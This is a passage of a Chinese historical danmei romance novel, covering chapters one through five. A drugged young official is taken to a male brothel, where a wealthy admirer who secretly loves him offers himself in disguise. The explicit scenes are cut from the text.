《孤木成舟【双】》
1. 1.偷窥
顺和32年春,大邹。
江南道一带积日暴雨,摧毁了泽湖在湖州一方的堤坝,以致水漫湖乡,饿殍遍野,民不聊生。
湖州知府上书朝廷,顺和帝大笔一挥,遣右相梁庭嵊长子,时任襄州通判梁蕴品兼任湖州安抚使,于两浙提举司提取省仓米三万石,运往湖州赈灾救民。
赈灾第七日,夜,湖州通判张治于听风楼设宴,答谢梁蕴品雪中送炭之劳。
“……少爷,咱们还要偷看多久啊,小的实在怕您掉下去……您若是有个三长两短,小的可没法活了。”
阿生一脸惆怅,不错眼地紧盯着陆宛的一举一动——他二人如今正趴伏在一个低矮的民房瓦檐上,借着夜色隐匿自己的身形。
这民房虽算不得高,阿生的轻功也能护得陆宛周全,但不怕一万就怕万一,若是一不留神叫陆宛摔了下去,自己就跳下去当垫背也免不了陆宛受伤的下场。
“阿生,便让我再看一会儿罢,我再看一会儿就下去。”
陆宛用手紧紧地抓住两片青瓦,身体一动不动,头却高高地扬起来,露出一截白皙颀长的脖颈。
他专注地眺视着对面的听风楼,透过花窗可见,二楼南边的雅间里,一张精致的圆桌上摆了几道特色湖州小菜,不铺张也算不得寒酸,赴宴的二位分坐于圆桌两侧,正好被窗框框住了身影,叫陆宛看的分明。
花窗左侧那位是湖州的地方官张通判,只见他摇头晃脑,唾沫星子翻飞,瘦瘦小小的身躯笔挺地站在高凳上,站出了“一览众山小”的意味;而另一侧的人则微微抬头,略显无奈地看着张通判,他眉眼如墨,烛火将他那半张刀削斧凿的侧脸映在墙上,惹得陆宛无端晃了神。
他瘦了,也更不爱笑了。陆宛惆怅地想,是外放做官,烦心事多了么?
“少爷,您若是想见梁公子,为何不到施粥的粥舍一见,非要来这登高涉险,只为远远一瞥?”
阿生见劝说无门,又等了半炷香,耐心消磨殆尽,言语间也带了些怨怼,“您听说梁公子要启程来湖州,十日前便来此地等着了,却一直折腾到今天才见上……这也太不合算了。”
“傻阿生,你当梁大哥和他的随从都是呆子么?”
陆宛目不斜视,却温和一笑,解答了阿生的困惑,“咱们不是灾民,去粥舍未免太显眼,又耽误梁大哥的公务,得不偿失……我来就是为了见他一眼,哪怕只是这遥遥的一眼,我也心满意足了。”
阿生语塞,只好沉默下来。他深知陆宛个性柔和,平日里是什么都好的主儿,却唯独在和梁蕴品相关的事上犯倔,谁来都说不动。
余光处,听风楼那两道身影依旧一动一静,那湖州通判已然从凳子上跳了下来,却始终情绪激昂,高谈阔论。
突然,他振臂高呼了句什么,重心不稳跌坐在长凳上,随即脖子一歪头一垂,竟径直睡了过去。
这是……喝醉了?
“张通判……张大人?”
梁蕴品看着眼前比他大上十来岁,行为举止却同孩童无异的张治,抬手掐了掐自己的眉心。
“梁大人,咱们大人不胜酒力,仿佛……是醉倒了。”
一直守在房门外的随从闻风而至,晃了晃张治的肩膀,无奈地冲梁蕴品鞠了一躬,“失礼了,那属下就先把大人送回府中,梁大人自便。”
“好,去吧。”
梁蕴品将杯中的酒一饮而尽,回想起张通判与他碎碎念叨的那些事,不禁无奈一笑——这张治真乃奇人,竟和自己一个素未谋面,仅有七日同僚之情的人大吐苦水,也不怕他转头便说出去,好叫这人吃一堑长一智。
可张治信他,怕不仅仅是看中他的人品,更是想通过他的嘴,将江南道一带的破事,捅到他爹那儿去吧。
梁蕴品想通这点,逐渐敛了笑意,又斟了几杯酒怅然下肚。
人人都对他梁蕴品有所求,下位者哀求,同位者恳求,上位者苛求。
唯独无人问津他心中所求。
梁蕴品表面不动声色,可心中已然沁了一丝冷意。
所谓少年天才,不过黄粱一梦,短短20年他仿佛走完了他人的半辈子……像他们这种世家子弟,活着不就求三件事么?金榜题名,他已然功成;他乡遇故,他淡然以待;而这洞房花烛……他却是永远都实现不了了。
他想起那道改变整个梁家命运的天旨——那道由太史令请出,据称“蕴天道灵气而生”的刻篆青玉案板,如牢笼一般囚住了梁家。至今他依然无法相信,那当真是上天降下的旨意么?莫不是谁人借了老天爷的手,要将整个梁家赶尽杀绝,断了梁家的繁嗣衍后的希望?
可他不信不作数。皇帝信,他父亲信,身为梁家的儿子就不得不信。
这是他的命。
梁蕴品捏紧了酒杯,眼皮低低地垂了下来,惨淡地笑了笑,如今他还能外放做官,想必是父亲在陛下面前求来的结果,若不是看在梁家三代忠臣,父亲更是辅佐皇帝继位有功的份上,他和三个弟弟,怕是早就被朝廷软禁起来了。
仿佛是为了应和梁蕴品心中所想,雅间的门突然被敲了两下,一个毛茸茸的头从门侧伸出,在门面薄如蝉翼的丝绵纸上透出一个鬼鬼祟祟的人影。
“……进来吧。”
梁蕴品头也不抬,斟了杯酒一饮而尽,“张大人醉了,已经回府了。”
“啊。这张大人酒量这么差啊。”
一心推开门,径直走进来,左右张望后露出了疑惑的神色,“大人怎么一个人坐在此处,一辉那小子呢,去哪儿厮混了?”
“不知。仿佛是去给我们配解酒汤了。”
梁蕴品虽为相府长子,对待下人却从不苛刻,近身随从一心是与他一同长大的家生子,脾气大大咧咧,却在大事上十分拿的定,从不叫他操心,偶然有没大没小的时候,梁蕴品也从不恼他,他羡慕一心身上的烟火气,那是他自懂事以来再没有过的东西。
“哦,那也不能让您一个人在这没人伺候啊,这也太不像话了。”
一心走到桌旁,瞟了眼梁蕴品的脸色,看不出什么端倪,于是小心翼翼地将手中的包袱放在桌上,往梁蕴品的方向递了递。
“?”
梁蕴品挑起一边眼皮看了看包袱,又斜眼看向一心,直看得人心里打鼓。
“那个……”一心咽了咽口水,艰难开口,“这是从京城加急送来的东西,本是送到襄州通判府上的,但王叔怕是什么要紧物件,担心误了大事,派家丁快马加鞭送到湖州驿站,正好赶上了我在驿站收拾细软。所以我就……”
给您送来了。
一心看着梁蕴品越来越黑的脸色,默默将最后几个字咽了下去。
梁蕴品面色阴沉地审视着眼前的包袱,象征皇权的明黄色绢布在窗外冷清月光的映衬显得分外刺眼。
“替我打开吧。”梁蕴品曲了曲手指,深深吸了口气。
一心无有不依,手脚麻利地将布包解开。褪去那扎眼的明黄色后,两个精致的雕花檀木盒徐然现身,最上面压着一封家书,信封上干净利落地写着六个大字:吾儿蕴品亲启。
是梁庭嵊的字。
梁蕴品顿了顿,抬手从信封中拆出一张泛黄的纸笺,纸笺上只写着寥寥几行字,却叫梁蕴品看了又看,指尖按压处被他狠狠捏出好几道褶皱。
“吾儿蕴品,见字如晤。
今官家令黄内官入府,赏赐吾木梳一匣,莲子五筐,并嘱吾务必将莲子分于四子,煎而服之。”
梁相甚少给夫人儿子写信,每次出远门寄家书也是这样寥寥几句,一如他板板正正,抱朴守拙的性子。
但这冰冷的字句到底无法给梁蕴品丝毫安慰。
梁蕴品放下家书,不甚情愿地打开了两个木盒,果不其然,一个盒子里装了一把红玛瑙和翡翠镶嵌的象牙梳,另一个盒子里,则是满满一盒上等的西湖莲子。
梳子,束子也,意在警示丞相管好自己的四个儿子,莫闯出祸事来亏了国本。
而莲子则给了足足的量,还叮嘱梁家一定要让煎成莲子汤让四子服下,不就是在让梁相摒弃“怜子”之心,告诫四子清心、静心,切勿违逆圣意么?
皇帝……是真的不信他们啊……
梁蕴品一瞬间产生了要把这些赏赐全部掀翻在地的冲动,但他知道自己不能,至少在湖州,在这听风楼里,不能。
这张通判为了省钱,连设宴都只设在这寒酸的小雅间,说是四面漏风都不为过。但说到底,这是张治的地盘,他疏狂无度却尽得民心,数落起丑事来可以旁若无人,但梁蕴品却不能。
若是隔墙有耳,他前脚掀了桌,后脚便有一群禁军闯入将他拿下,他的把柄可就亲自交到皇帝手中了。
梁蕴品越想越窝囊,呼吸也变得急促起来,泄不出的气犹如一股游离的毒蛇在他经脉中乱窜,忽而一阵微妙的感觉自脊背窜出,猛然袭上心头,让他狠狠地打了个冷战。
紧接着,一阵晕眩袭来,眼前的一切仿佛带上了重影,周遭的气味也变得浓重起来。梁蕴品不得不扶着额支在桌面,眉头紧蹙,略带茫然地看向一心。
“你有没有闻到……一股香气?”
“香气?”一心嗅了好几下,摸不着头脑,“大人是说酒气么?”
不,不是,是脂粉香。
且那香气越来越重,几乎是铺天盖地朝梁蕴品
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袭来。
梁蕴品头脑愈发混沌,眼前重影更甚,耳内却响起一阵排山倒海的鸣音,仿佛有谁往他头颅内生生掷了一把火。
火把点燃了末梢,转瞬间,他浑身的血液都燃了起来。
……怎么会这样?
梁蕴品喘着粗/气,怔怔地低下头,看向逐渐隆起的袍下,猩红的眸中顿时迸出凌厉的光。
——有人给他下了/药。
是谁?张治,还是皇帝?
他抬起头,死死盯着桌面还敞着大口的两个木盒,下意识将此事与天旨联系到一起——天旨叫他不能乱/ 性,有人却非要让他乱/ 性,其心之狠不言而喻。
到底是谁这么恨梁家,非要置他们于死地?
药效发作得太快,梁蕴品试图平稳自己的气息,却被迅猛的药性冲击得大汗淋漓,一心见状终于意识到不妥,他眸色一凛,大步上前搀住梁蕴品的肩,“大人,您怎么了?是不是不舒服?”
梁蕴品半闭着眼点点头,从颤抖的牙缝中挤出三个字,“是……春/ 药。”
“操!”
一心在心里骂了下药那狗贼的全家,随即一手拔出腰间的短剑,一手把住梁蕴品的大臂,将他从凳子上搀了起来。
“此地不宜久留,大人坚持住,我扶大人去找大夫。”
“好。”
梁蕴品艰难忍下肆虐的冲动,跟着一心的步伐踉踉跄跄地朝门外走去,甫一踏出门框,一个熟悉的声音自门廊尽头处响起,“大人,您去哪儿,解酒汤煮好了……一心?”
“你怎么会在这里?”
梁蕴品和一心双双抬头,长廊拐角处,一辉正端着两碗解酒汤站在那里,看上去十分惊愕。
“说来话长。”
一心拿着短剑的手朝他招了招,“咱们先离开这里,快跟上。”
“……好,我马上过来。”
一心见一辉应了,便不再等他,搀着梁蕴品急匆匆往外走,可刚走出几步他便顿在原地,回过头再次看向一辉,微微瞪大的杏眼中满是难以置信。
方才回眸一瞬,他看到了什么?
一片云白色的衣角,自一辉身后不甚明显地飘起,随即没入拐角处的黑暗中。
那是……女人的罗裙。
“为什么……怎么会是你?” 一心怒目圆睁,忍不住大吼起来,“是你下的药?你怎么能恩将仇报,这么对待大少爷?!”
“我不……”
“你虽不是家生子,却也是少爷上任后,精挑细选放在身边的人!”一心眼圈通红,显然是生了大气,“若是没有他,你如今还不知道在哪个脂粉窝里打滚,他甚至为你赐了名!”
一辉原名江小辉,是襄州一名妓女之子,出生就是贱籍,是梁蕴品买下了他,还为他赐名“一辉”。
要知道在梁府,赐名是贴身随从才有的尊荣,赐名中若带上了各房的排位,更是为他们的身份叠了一层护甲——从此他们的话便是各房主子的话,金口玉言,比府上的一等奴仆还高出许多阶。
“你在胡说什么……”
一辉眼见事情败露,也顾不得什么过往的情分,他将解酒汤往地上一摔,眼神一凛,一抹杀气从眼底溢出。
“我做什么了?一心,你不要血口喷人!”
他抬起手指着一心,怒斥道,“我看你才是包藏祸心。你想将大人带到何处?快放下大人!”
“……”
一心心中凉了个底朝天:这杀千刀的一辉是看大少爷不太清醒,想借此栽赃到自己身上!
“你……操,你自求多福吧。”
一心咬了咬后槽牙,不再跟一辉纠缠,转身带梁蕴品下楼,迅速出了听风阁。
凉风一吹,梁蕴品下意识闭了闭眼,却觉得体内的温度不降反升。
灵台逐渐清明,带回的却不是理智,而是无边无际的欲望,梁蕴品只觉浑身力量陡增,五感成倍放大,风中的花香搀着脂粉气一股脑儿袭进他的鼻腔,在他的四肢疯狂肆虐,最后汇入他硬得快要爆裂的分身。
糟了,春药的药效彻底发作了……
梁蕴品心头冒出一股凉意,他挣脱一心的手,有些痛苦地俯下身,有一口没一口地喘着粗气。一心见状越发心急,“大人,您还好吗?不如让小的背您去看大夫吧?”
“不……来不及了……”
梁蕴品突然攀住一心伸来的手,力量大得叫人难以忽视,“带我去青楼,快!”
“什么?”
一心愣住了,还没等他反应过来,梁蕴品已然咬破了下唇,狠狠摇了摇头。
“不,不去青楼。”
“去象姑馆。”
2. 2.孤雏
“少爷,少爷您慢点儿,别摔着自己了!”
“快跟上,慢了就跟丢了。”
阿生一路疾走,跟在陆宛身后匆匆往前挤,二人穿过人山人海的湖心街,在熙熙攘攘的人群中寻觅梁蕴品的身影。
“少爷,您别心急,”阿生看着陆宛焦躁的侧脸,安抚道,“梁公子或者只是喝醉了,想找个地方醒醒酒罢了。”
“你看到他出听风楼后的样子了吗?”
“什么?”阿生顾着陆宛的安全,压根没注意。
“那不对劲。”
陆宛脚下生风,边走边铆足了劲向前看,“我在襄州见过他大醉的模样,面色红润却很安静,行动缓慢,和方才判若两人。”
阿生有些惊了,陆宛说的这一回他知道,是前年梁蕴品金榜题名后,外派襄州上任的第一天。
彼时陆宛正在襄州,默默替梁蕴品打点着襄州的一切,忙碌了将近半年才迎来了前往襄州“探路”的梁府大管家。
大管家尽职尽责地探听消息后,毅然决然拍板,为他家大少爷选择了一个小而精的园子,那爿园子价钱适中,环境清幽,离襄州府才不到三里地,平日溜达着就能去府衙办公。最重要的是,从后门往东走五里,一条街市比邻而落,酒肆茶肆鳞次栉比,衣食铺子一应俱全,真可谓是个不可多得的风水宝院。
消息传出后,襄州权贵们都羡慕不已——这新来的通判大人不知走了什么狗屎运,竟购得了这方人人垂涎却求购不得的宝地,殊不知这园子就是陆宛为梁蕴品度身定制的,大到亭台楼阁,小到花草树木,每一处陆宛都亲自过目,一砖一瓦积日累月,才将这破败的园子整饰成如今一步一景的模样。
又过了一月,梁蕴品临襄上任,襄州知府及其同僚循例设宴欢迎,陆宛忙碌了将近一年才在仙鹤楼之上,隔着对角的距离不远不近地瞧了他一晚。
“找到他们了,快跟上!”
阿生回过神,小跑上前跟着陆宛,朝梁蕴品二人的方向步步接近,只见梁蕴品和仆从脚步匆匆,从湖心街西侧骤然拐入一个不起眼的小巷,很快没了踪影。
二人皆是一怔,连忙跟到巷口,却被扑面而来的脂粉香止住了脚步。
阿生看着满街的花红柳绿慌了神,“这,这是……”
“名动湖州的花街……”
陆宛怔怔地看着眼前越来越远的背影,眸中闪过一瞬失落,“……簪翠巷。”
“还要多久……”
“快了,大人,就在前面。”
梁蕴品眼前已然出现了幻觉,仿佛莺莺燕燕的目光都落在他身上,要涌上来勾走他的魂。他竭力屏住呼吸,从灼烧他五脏六腑的脂粉香中穿丛而过,几乎和一心提溜着彼此来到巷尾。
“到了!就是这里!”
一心突然停住脚步,仔细打量着前头一家雅致的别苑,那别苑与巷中其余青楼尤为不同,门口没有招揽客人的妈妈或娘子,却竖着一排竹子与一个石牌,石牌上用柳体字清晰地书着三个字——清风阁。
“大人,那指路的妈妈说,清风阁是这一带最负盛名的象姑馆,里面的小倌也……比较风雅。”
一心一边担忧着梁蕴品的身体,一边又对象姑馆等烟花之地生出些许排斥,“大人真要进去吗?莫不如进去找个厢房歇下,待小的为您寻来大夫解毒可好?”
“来不及了……”
梁蕴品脸颊透出不正常的红晕,眼神迷离地看向前方,“一心,进去之后莫要叫我大人,喊回‘少爷’即可。”
“是,大少爷。”
“另外,找个干净的人来伺候。”梁蕴品说着,跌跌撞撞向前,撞开了清风阁虚掩的竹门,“价钱,随他们开。”
……
陆宛和阿生赶到清风阁门外时,竹门仍然大敞着,院内却起了一阵不小的骚动。
“少爷您看清了吗,这……这不是个青楼吧?”
阿生好整以暇地打量着这个院子,怎么看怎么不对,却见陆宛十分笃定地点了点头,“旁人或许会看错,我只要能看着他一片衣角,便不会看错。”
“……”
阿生无奈地叹了口气,“可是少爷,咱们跟过来了,又能怎样呢?”
“难不成,咱们要跟着梁少爷一起进青楼?”
陆宛的眼神黯了一瞬,随即又一厘一厘亮了起来,“我只是要确认他的安好,旁的事我管不了,也不该插手。”
“可是少爷……”
阿生知道陆宛在自欺欺人,却心疼得很,正想劝他为自己争取一下,却听得院内传来了一阵吵闹声。
“公子,您瞧瞧奴家,奴家可是这清风阁里的花|||魁,定不会叫房中那位官人失望的!”
“花|||魁?你自封的?呵,纵使你曾经是花|||魁,可如今人老珠黄,后眼儿都快掐不住了,还来服侍贵客呢,你想得倒是美!”
“子青!你个该死的破落户!长得丑嘴还贱,难怪那齐员外只来了一回就不来了,莫不是被你这张贱嘴给恶心住了,嫌你晦气才不肯来的!”
“我晦气?呵,墨檀,瞧瞧你那张精|||气亏虚的脸吧,跟八百年没见过男人的狐狸精似的,谁见着你,谁才是真正的晦气吧!”
“你!”
“嘶,好了好了……”
陆宛和阿生踏入院内时,正巧遇见两拨人拽着两个张牙舞爪的男子向后撤,一个虽面黄肌瘦,却难掩曾经俊美之色;一个则相貌平平,却生得一把极细的小蛮腰,仿佛男人一个大掌上去便能完全握于掌心似的。
而梁蕴品的随从一心正站在人群正中,不住地掐着眉心,看着眼前的境况束手无策。
“少爷,他们吵啥呢……”
阿生看着眼前乌央乌央一群美男子,困惑不已,“这不是青楼吗,怎么会这么多……”
仿佛是想到了什么不该想的,阿生突然瞪大了双眼。
“这是,这是……”
“象姑馆。”
陆宛看着眼前的兵荒马乱,平静得叫人看不出他在想什么。
“这是好男风者,寻欢作乐之处。”
“……”
一心自小习武,为了保护梁蕴品,凶险的局面也见过不少。
却从未见过今日这般令人头疼的局面。
身后这道门里,梁蕴品痛苦的喘息声此起彼伏,甚至发出了如野兽求偶般低低的嘶吼,眼见就是欲念烧心烈火燎原,可他却迟迟完不成任务。
无他,这男窑子里,根本找不出一个雏儿。
没雏儿没雏儿,干脆先随便指个小倌,让少爷把毒解了再说!
一心咬紧牙关,差点把心一横,垂在身侧的手也在蠢蠢欲动。
可那是大少爷啊……右相嫡子,千金之躯,万一他失手指了个有病的,传染了花柳……
“王妈妈,若是给您一炷香的时间,让您帮忙去其他馆子‘借’个雏儿……您可办得到?”
一心破罐子破摔,提出了一个叫众人讶异不已的要求,就连悄悄潜行至众人身后偷听的陆宛和阿生都吃了一惊。
“这,这怎么可能……”
王妈妈面露难色,她方才见着这两位玉树临风,气质不凡的公子便喜上心头,心知贵客来了,哪曾想这贵客指明了要“破|||瓜”,非雏儿还看不上。
她也不是没
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想过叫人装雏儿,都是男人嘛,开没开|||苞只有天知地知自己心知,只是这两位爷一看便是天上来的神仙,若是谁巴结上了,说不准一脚就踏出这清风阁,往福地洞天去了。
于是众人争风吃醋,将清风阁内没雏儿这事抖了个底儿掉,等王妈妈火急火燎赶到时为时已晚,肠子都悔青了。
“王妈妈,若你能成事,我再加一倍的数。”
一心听着梁蕴品的喘息愈发急躁,伸出两根手指头在众人面前晃了晃,“二百两,如何?能借着么?”
“二百两!”
王妈妈几近晕厥,若放在平时,她哪怕去大街上掳也要给这两位爷掳个雏儿回来,可这位爷一脸煞气,还指明了要去别的馆儿“借”,便是不准她强抢民男了。
“爷,我倒是想去借……”
王妈妈嘴一撇,财迷心窍的眼泪真情实感地落了下来,“可您一路进来,除了咱,您还见着其他象姑馆了么?”
“说到底,这爷们的买卖究竟不比娘们吃香,这里又是鼎鼎有名的簪翠巷,有多少馆子能开在这儿呢……”
“那就三百两!四百两!”
一心急了,瞪红了眼看向院中众人,甚至看向那些正在打扫院落,皮糙肉厚的仆奴们。
他头一回希望有人能主动为钱银献身,只要能救少爷,只要能救……他来背这个罪孽又如何!
“老天爷啊,四百两……”墨檀摸了摸自己憔悴的脸,脚步虚浮地向后退了一步。
“快掐我一下,我头一回恨自己这么早卖了身!”子青哭着嚷着,被边上的小倌掐得倒吸一口冷气。
“这,这……”
王妈妈顺着一心的目光左顾右盼,视线最终落到一个不起眼的小孩身上,“那不然……”
“公子看我如何?”
庭院下,一个温柔而坚定的声音从人堆后传来,引得众人纷纷回头。
“嘶,好漂亮的公子啊……”
“他是咱们院里的人?我怎么没见过他!”
“当然不是!你瞧瞧他这容貌,这身段,这教养,像是个出来卖的吗?”
“切,墨檀当初不就是个落魄的少爷么,都来清风阁了,谁比谁高贵~”
“你倒别说,他的腰仿佛比子青的腰还细上一些,那双桃花眼……啧啧啧,是个销|||魂的主儿!”
众人你一言我一语地咬起了耳朵,陆宛却充耳不闻,从人堆里款款走出,行至一心面前站定。
“你是——”
一心对所有骤然出现的人都十分警惕,却见陆宛双手交叠于胸前,朝他福了一福,一心大惊——那俨然是京城一带,高门贵族的礼节。
“我姓祁,单名一个璐字。祖籍苏州,曾随父亲迁居汴都,复至宣州定居,直至成年。顺和31年,宣州大水,将我父母冲进了镜湖,也彻底毁了我的人生。”
陆宛的声音温润清淡,却叫人莫名生出一股悲凉。
“家中族人分吞了我家的财产,又不肯收留我一介孤子。我抱病在身,肩不能扛手不能抬,幸得忠仆一人为我遮风挡雨,然长贫难顾,家仆为我伤了身子,终是不能再出去做工了。”
被迫“伤了身子”的阿生目瞪口呆地看向陆宛,仿佛是还没从他的举措中回过神来。
“今日来清风阁,便是想着来投靠王妈妈,挣口饭吃的,可我来得巧,一进门便遇上了公子,又听闻爷非得要雏儿不可……”
陆宛抬起眼,犹豫着向前一步,与一心仅剩一个脚印的距离,荷叶的冷香随着气息拂过一心的鼻翼。
“公子若不嫌弃,便让我来伺候吧,我是雏儿,必不会脏了爷的身子。”
3. 3.献身
一盏茶之前。
陆宛看着一心苦苦寻觅小倌的举措若有所思,随即缓缓吐出一句话,如平地一声惊雷炸懵了身旁的阿生。
“阿生,我要去帮他。”
“帮,帮什么?”阿生慌了神,不顾主仆礼仪拉住了陆宛的袖口,“少爷,您疯了吗!梁少爷这一看便是……”
“他必定是出事了,说不准中了谁的圈套,服了迷情之药,才会赶来此处。”
陆宛一路跟过来看得清清楚楚,此事甚至不必推敲,真相昭然若揭。
可他不明白的是,梁蕴品……为何要找男人?
难不成,他竟也是个断袖?
陆宛很早以前便焚没成灰的心被这阵突如其来的妖风扇起了一些火星子,可他顾不得去想太多,瞧一心的模样,若再没个人进去叫梁蕴品泻火,他怕是扛不了太久了。
“待会我会寻个借口自荐,你留心听,若是梁大哥事后问起,你便将我的话原封不动告知;若问了些旁的,便说家主隐私,不便随意透露。”
陆宛说着便要往前走,却被阿生狠狠地攥住了小臂。
陆宛回头,视线与阿生通红的眼眸相撞,撞出了阿生眼底的难以置信。
“少爷,您,您可是陆家嫡子啊……”
阿生几乎是咬着牙说出这句僭越的话,“咱们陆家虽不是官宦人家,但到底是江南第一富户,便是杭州知府设宴也得给您下帖子的!可您如今这样,这样作践自己……”
“好阿生。”
陆宛眉目平静,突然冲阿生温婉一笑,“让我去罢。”
他长长呼了口气,“若错过这次,今生怕是再无机会与他作伴了。”
“可是——”
“陆家再有钱,也配不上梁家,此事毋庸置疑,世人心知肚明。”陆宛脸上的笑逐渐褪变成一股凄凉,“梁家绝不会允许长子娶一男媳,而我爹……也不舍得将我配给他人做妾。”
“这是个死局,阿生。”
阿生有些怔愣地望着陆宛,眼眶逐渐湿润——他日夜跟在陆宛身边,看着自家少爷为梁蕴品的事东奔西走,竟不知少爷早已将他们二人的结局看得透彻。
所谓真情,大抵便是如此——看破不说破,论迹亦论心。
手上的劲不知何时松去了,陆宛垂眸轻哂,“阿生别难过。此生能有这样一晚……”
我也是极快乐的。
陆宛的鼻息轻喷在一心脸上,方才与阿生交代的一幕幕仍在他意识中盘桓。
劝妥了阿生,接下来便是打消这位忠仆的顾虑了。
他故意装作误会了要伺候的对象,眼角含春,步步逼近一心,“只是公子方才说能给我四百两……不知是否作数?”
“作,作数。”
一心脖子通红,头顶冒烟,被手无寸铁的美人逼到了死角,“可是你,你停一下,停!”
陆宛站住了。
“你要伺候的不是我,是房里那位爷。”
一心终于逮着机会说话,抹了把汗堪堪维持自己的威严,
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正色嘱咐道,“但我有个条件——不管那位爷说什么,做什么,你都得一概忍下,只要死不了,就往死里忍。能做到吗?”
“能。”
陆宛十分干脆,阿生却死死捏住衣角不让自己惊呼出声——这怎么能!把人弄坏了可怎么是好!!
但事已至此,他深知陆宛是吃了秤砣铁了心,不会回头了,只得悬着心看一心打发了众人,又见他一甩手给了王妈妈二十两银子当房费,嘱咐她今晚看好众人,不许任何人靠近此地。
王妈妈只出一间客房便白赚这二十两,本应喜逐颜开,又想起自家的小倌没占着便宜,哭笑不得地哈着腰退下了。
一心回头推开房门,朝陆宛做了个邀请的动作。
“祁少爷是吧,”一心肃着脸,冲房中偏头示意,“快进去吧,我家公子这厢便拜托您了。”
-
红烛昏罗帐,听雨客舟中。?
门页“吱呀”一声合上,陆宛抬眼看向垂首坐在床边的梁蕴品,蓦地想起了这两句词。
他此时此刻的模样,像极了一只受伤的雄狮,陆宛心想,从他认识梁蕴品至今,极少见他露出这般憔悴的模样,
这样想着,陆宛便有些心急,不由自主加快了步伐,却在越过花厅后被梁蕴品失控后推倒的花瓶绊了一跤。
“啊!”
陆宛上身失去重心,应声倒下,却不似想象中那般疼痛——他被床边的纱帐卷入了那头狮子的地盘,雄狮接住了他。
【***】
4. 4.靡夜
是夜,清风阁四处靡音起伏,绕梁不息。
一心起初还守在门外望风,可当房中的裂帛声与喘息声陆续响起,红潮逐渐漫上了他的脖子,再到耳根。
他不甚自然地摸了摸耳垂,叹了口气,若无其事般走到庭中,寻了个石凳坐下了。
听主人家墙角可不是什么轻松事,一心无奈一哂,也不知大少爷往后成了婚,自己还要不要在门外守夜。
就这么坐着坐着,春风一吹,一心居然睡着了。待到被一阵悬空感唤醒时,天边已泛起鱼肚白,他有些迷茫地看向自己被踹歪的小腿,缓缓抬起了头。
——那“罪魁祸首”抱着手臂,俨然就在眼前。
这不是那个,祁公子的下人?
叫什么来着?
因着祁公子昨日那番自述,加之刚遭遇了一辉的背叛,一心对这位忠仆颇有好感,因此也不介意他粗暴唤醒了自己,“怎么了?”
睡得这么死,也不知是怎么当家仆的,阿生腹诽却不敢言,面无表情朝房内扬了扬下巴,“房中有动静,听声音……应当是你家公子醒了。”
“是么?”
一心“腾”地一下站了起来,说着便往前走,与阿生擦肩而过时却顿了顿。
“你……难不成一夜都守在门外?”
一心回过头,眸中似乎透着一丝震惊——这小哥竟然听了一夜的动静?,
他那里……难道不会起什么反应么?
阿生深吸一口气,终于没忍住,旋过头睨了一心一眼,笑了。
“我与少爷一同长大,即便不守夜也是睡在里间的,自然不似小哥你睡得这般定。况且我家少爷还在里头遭人……咳,若是两位爷夜里需要些什么,总得有人来伺候他们吧。”
一心眉毛一挑,哟,没看出来这忠仆还是个嘴皮子利索的,话里话外便是在揶揄自己偷懒,又顺带着讽刺他和自家少爷感情不深了。
他刚想张嘴辩解,一错眼便瞧见那忠仆眼下乌青,顿时觉得理亏,挠头笑了笑便不再言语,径直向门口走去。
甫一踏上台阶,房中便传来了梁蕴品的声音,“一心。”
“少爷,我在。”
“去裁缝铺买两身新衣裳,再去请一位医术高明,口风严实的大夫过来。”
“好的少爷,我这就去。”
梁蕴品的声音出奇地哑,听起来十分疲惫,一心担忧他还会有什么吩咐,拧头便小跑到阿生身边,“这位小哥,你怎么称呼?”
“……有话便说吧。”
阿生淡淡地仰着头,打量着身材魁梧的一心,“你要出门?是想把你家少爷托付给我?”
“……没错!你可真聪明。”
一心有求于人,放低姿态朝阿生拱了拱拳,憨笑道,“我叫一心,我家少爷姓梁,如若他有什么吩咐,能否请小哥协助一二?这清风阁里的人……我属实不放心。”
阿生觉得好笑,其他人他放心不下,自己一个素未谋面的,他就能放心了?
怪不得梁大少爷能中了贼人的药。
可他也不是个不知趣的,听见梁蕴品方才的吩咐,知道求医一事耽误不得,于是不情不愿地点了点头,“要去赶紧去,这里有我。”
“行,有你这句话我就放心了。”
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一心旋风一样出了清风阁,庭院内霎时静了下来,偶有几声喜鹊啼叫而过,将呆坐于床前的梁蕴品的思绪拉得很远。
半柱香前,梁蕴品被一阵剧烈的头痛强行唤醒了。
陷入深渊的意识如同被一记闪电猛劈而下,白光迸溅,他骤然睁开眼,眼前却只得一片昏暗。
这是哪儿?
梁蕴品自天旨一事后便时常坠入梦魇,一心担忧他长此以往心力交瘁,竟学着民间偏方,策马奔驰八百里前往渡恩寺,为他求得了一枚清心符悬于床头。
说来也玄,自打有了那符,梁蕴品的梦魇便少了许多,即便偶有噩梦,也能在醒来后迅即冷静下来。
可今日他睁开眼,并未瞧见那枚角符,一颗不安的心便开始躁动起来,与颅内的阵阵刺痛隔空和鸣,叫他莫名觉得胆战心惊。
他试图起身探查周遭的环境,却不料自己的手被压住了,他垂下眸子,一头乌黑的长发映入眼帘,虚掩着一张沉静苍白的侧脸,小巧的下巴尖儿倔强地微微仰起,正正好垫在他手心里。
是个男子?
梁蕴品蹙了蹙眉,昨夜的记忆被男子勾起,几个画面在他脑中一闪而过,叫他瞳孔骤缩,惊得说不出话来。
昨夜……是他为自己解了毒?
梁蕴品难以置信地偏过了头,紧接着,方治的高谈阔论,一辉的背叛,一心与自己的狼狈,皆如雪花般贯入他脑海,叫他的头痛越发剧烈。
他想起了前因,想起了自己独自于房中一步步走向失控,却怎么也理不清后来发生的事,唯一能记起的是一些虚无缥缈的片段……【***】
5. 5.自欺
“不!那里不能,不能进去!”
【***】
梁蕴品失魂落魄地走到四仙桌前坐下,侧目看着窗外泛着鱼肚白的天色,心中莫名升起一股厌弃感。
他全忆起来了,可随着记忆翻涌而来的,是慌乱,是自责,是一股深深的无力感。
他怎会说出那样不知廉耻的话,变成那副……人畜不分的样子?
即便服了药,也不过是迷情,他打小冷静自持,何尝见过自己如此不堪的模样?
更何况,他对那男子如此恶劣,还打翻了人家的脂油……万恶淫为首,他梁蕴品今天,竟也当了一回色迷心窍的恶霸!
当真是下作!无耻!
梁蕴品双手握拳,狠狠地砸在了自己的大腿上,牙根被他咬得吱吱作响。
可为何……为何他的自责中,掺了一丝难以言喻的愧疚?
男子明明只是个在青楼卖笑的小倌,中了药的梁蕴品虽恶劣,到底不算强迫了人家。
可他不知为何就是愧疚,说不清是为了那双静水流深的眸子,那句突如其来的“你喜欢我吗”,还是那最后一声,毫无来由的“兄长”。
兄长……他为何要称呼我为兄长?
是儿郎家的情致,还是认错人了?
总不可能……我长得像他的哪位故人吧。
